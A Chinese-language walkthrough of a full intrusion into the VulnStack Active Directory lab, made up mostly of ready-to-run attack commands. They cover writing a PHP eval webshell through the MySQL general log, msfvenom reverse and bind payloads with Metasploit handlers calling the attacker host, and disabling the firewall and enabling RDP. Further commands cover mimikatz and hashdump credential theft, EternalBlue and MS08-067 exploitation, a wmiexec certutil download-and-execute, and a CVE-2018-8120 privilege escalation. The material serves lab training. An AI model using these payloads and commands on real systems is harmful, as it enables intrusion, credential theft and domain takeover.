VulnStack域环境靶场渗透(一)
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.31.229 LPORT=4444 -f exe -o msf1.exe
实验环境
web服务器 | 192.168.31.79 192.168.52.143 |
---|---|
域成员server2003 | 192.168.52.141 |
域控server2008 | 192.168.52.138 |
物理机 | 192.168.31.238 |
kali-vps | 192.168.31.229 |
实验拓扑
信息收集
使用nmap扫描内网存活主机和端口
nmap -PM 192.168.31.0/24
发现192.168.31.79开放了80和3306端口
直接访问地址看看,直接出现phpinfo探针界面,大量的信息被泄露
利用目录扫描工具
phpmyadmin
发现扫出了beifen.rar压缩包,以及phpmyadmin后台登录界面
直接登录phpmyadmin界面,成功利用弱口令root/root登录成功
登录后台的话那就想办法getshell呗
想着后台拥有SQL执行(直接高危),直接操作数据库,
往数据库写文件(木马)试试呢?
into写入文件:
使用需看查要secure_file_priv的值。
当value为“null”时,不允许读取任意文件
当value为“空”时,允许读取任意文件
我们利用后台的SQL执行查看下权限
show global variables like "%secure%"
以上结果可知无法写入文件,可以实际测试一下
Select '<?php eval($_POST[hack]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'
考虑使用全局日志写shell,先查看全局变量general_log:
show global variables like '%general_%'
为关闭状态
开启全局日志并修改日志保存位置为 C:/phpStudy/WWW/hack.php
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';
查询一句话并写入日志
Select '<?php eval($_POST[hack]);?>'
直接利用蚁剑连接shell
http://192.168.31.79/hack.php
yxcms
直接访问192.168.31.57/yxcms即可打开该网站
根据网站提示直接登录网站后台
http://192.168.31.79/yxcms/index.php?r=admin/index/login
利用bp爆破出后台弱口令 admin/123456
文件上传
成功进入后台后,点击前台模板,然后新增模板,
新建webshell.php文件,写入如下一句话木马
<?php eval($_POST[hack]);?>
上传成功访问其路径,可参考源码中的存放位置,利用蚁剑连接
http://192.168.31.79/yxcms/protected/apps/default/view/default/webshell.php
后渗透
CS拿shelll
在kali-vps上启动cs
./teamserver 192.168.31.229 password
客户端直接放在我物理机
设置监听器---->生成win后门,保存至物理机本地,利用蚁剑上传执行拿shell
如图成功上线web服务器
提权
直接右击上线主机,选择提权,直接提权至系统权限
系统信息收集
终端框输入
shell ipconfig //执行命令之前要输入shell
发现两个地址段,31外网段,那么52可能是服务器内网网段
hash值获取
视图----->凭证信息
开启3389
远程开启3389端口并关闭防火墙
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙
shell netsh firewall set opmode disable #winsows server 2003 之前
shell netsh advfirewall set allprofiles state off #winsows server 2003 之后
此时远程桌面被成功打开,并且防火墙被关闭
成功登录web服务器的远程桌面
msf拿shell
已经利用蚁剑getshell,将shell反弹至cs或者msf
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.31.229 LPORT=4444 -f exe -o msf1.exe
将生成的msf1.exe下载至本地后,利用蚁剑上传至web服务器上,然后执行,msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 1234
set lhost 192.168.31.229
run
msf成功获取shell
提权
meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
获取hash值
run hashdump
run post/windows/gather/smart_hashdump
mimikatz
迁移至64位进程下
ps 查看进程
migrate 1460
抓取密码
load mimikatz
load winpmem
creds_all
开启3389
run post/windows/manage/enable_rdp
cs和msf联动(重点)
目前cs上拥有两个shell
msf拥有一个shell
MSF传递CS
在cs上开启一个监听
然后使用msf的如下模块
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.31.229
set lport 6666
set session 1 //传递会话的ID
exploit
CS传递MSF
将192.168.31.79的管理员权限机器传递给MSF
具体步骤如下:
msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.31.229
set lport 10086
在cs上开启外部监听
名字 cs-msf
端口 10086
以上设置完成后,最后在想要传递会话的界面输入 spawn cs-msf
最后查看msf发现cs的会话成功被msf所接收
横向渗透
代理
msf+proxychains
添加路由
进入msf直接搭建内网隧道
run post/multi/manage/autoroute
查看路由
查看路由信息
run autoroute -p
msf挂代理
添加路由成功后,然后使用socks代理,使用msf如下代理
use auxiliary/server/socks_proxy
端口要保持一致,直接run,然后jobs查看隧道是否在运行
改为5代理,一开始是4搞了半天不行。(踩坑处)
最后测试能不能访问web服务器的内网地址
proxychains curl http://192.168.52.143
浏览器测试直接访问内网网站,记得设置代理
http://192.168.52.143/
到此msf配合proxychains实验成功
CS+proxychains
CS上开启代理
在跳板机上直接设置代理
然后直接在cs服务器上设置代理为本机的10768端口
具体如下图
踩坑处,cs使用4代理
接着设置浏览器代理为192.168.31.229:10768端口
成功访问内网网站
msf挂代理扫描内网
扫描存活主机
使用msf内置模块进行存活主机探测
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #推荐使用 基于netbios协议发现内网存活主机
成功扫到三台存活主机
扫描端口
proxychains nmap -Pn -sT 192.168.52.143 不推荐
nmap -sT -Pn 192.168.52.143 -p 21,22,21,25,80,139,445,3306,3389 扫描指定端口推荐使用
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000)
内网主机服务探测
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
获取域成员控制权
ms08-067
通过nmap的脚本扫描,扫描内网可能存在的如08067,17010等漏洞
proxychains nmap -sT -sV -Pn -p22,80,443,135,445 --script=smb-vuln-ms08-067.nse 192.168.52.141
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141 利用msf进行shell,利用如下模块
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
//那一台server2003,运行直接被干崩掉了,无法获取shell
ms17_010
试着利用永恒之蓝漏洞拿shell,先利用nmap漏洞探测脚本是否存在漏洞
proxychains nmap -sT -sV -Pn -p22,80,443,135,445 --script=smb-vuln-ms17-010.nse 192.168.52.141
接下来利用最熟悉的msf漏洞利用模块直接shell
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.52.141
exploit
没打成功不知道啥原因,但是丝毫不影响对域控的渗透。
获取域控权限
利用nmap扫描是否存在漏洞
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.138
利用msf的模块利用
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.52.138
exploit
又被打蓝屏,未获取到shell
利用另一个模块
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp
获取到shell立马死亡,依然失败心态崩了
最后利用这个模块
auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command 要执行的命令
set command net group /domain
//利用此模块可以添加域管理员然后登录域控
VMI获取权限
攻击思路:
可以通过蚁剑将wmiexec.vbs上传至web服务器。在之前已经通过mimikatz获取了域控的密码,所以直接进行远程命令:
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 123456Aa "whoami"
成功回显出当前用户身份信息
wmiexec.vbs脚本项目地址:
https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
由于域控处于内网环境且不能访问外网,所以没法使用反向shell,
可以让win7web服务器去正向连接域控,使用msf的bind_tcp模块
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9999
exploit -j -z
使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,
使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
msf生成正向马
msfvenom -p windows/meterpreter/bind_tcp lport=9999 -f exe -o shell.exe
回到一开始web服务器的会话中,将生成的正向连接马传上去,
利用web服务,让域控将此正向连接马下载到本地并执行
cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 123456Aa "certutil -urlcache -split -f http://192.168.52.143/shell.exe&shell.exe"
踩坑处(MSF挂代理不然shell弹不回来搞了一上午才想起来)
注意:
这里先进入跳板机win7的shell然后执行wmi命令,执行完成之后,
在返回进行监听,即可获取shell
之前一直利用蚁剑的shell执行命令一直报错,弹不回shell。
如上图域控被成功shell
CVE-2018-8120 提权
成功上线域控发现并不是系统权限(如果提权不了,上图直接提权成功了。),尝试提权,利用CVE-2018-8120进行提权
项目地址:https://github.com/alpha1ab/CVE-2018-8120
通过蚁剑上传至win7服务器,然后利用ipc渗透上传域控(注意要上传X64位的POC)
net use \\192.168.52.138\ipc$ "123456Aa" /user:administrator
copy CVE-2018-8120.exe \\192.168.52.138\c$
然后msf中进入域控的shell然后执行poc
CVE-2018-8120.exe whoami
成功被提权至系统权限
利用IPC上传mimikatz(将本地的猕猴桃用蚁剑上传至win7服务器)
copy mimikatz.exe \\192.168.52.138\c$
mimikatz.exe CVE-2018-8120.exe
//以系统权限启动猕猴桃(可以用系统权限执行任何命令)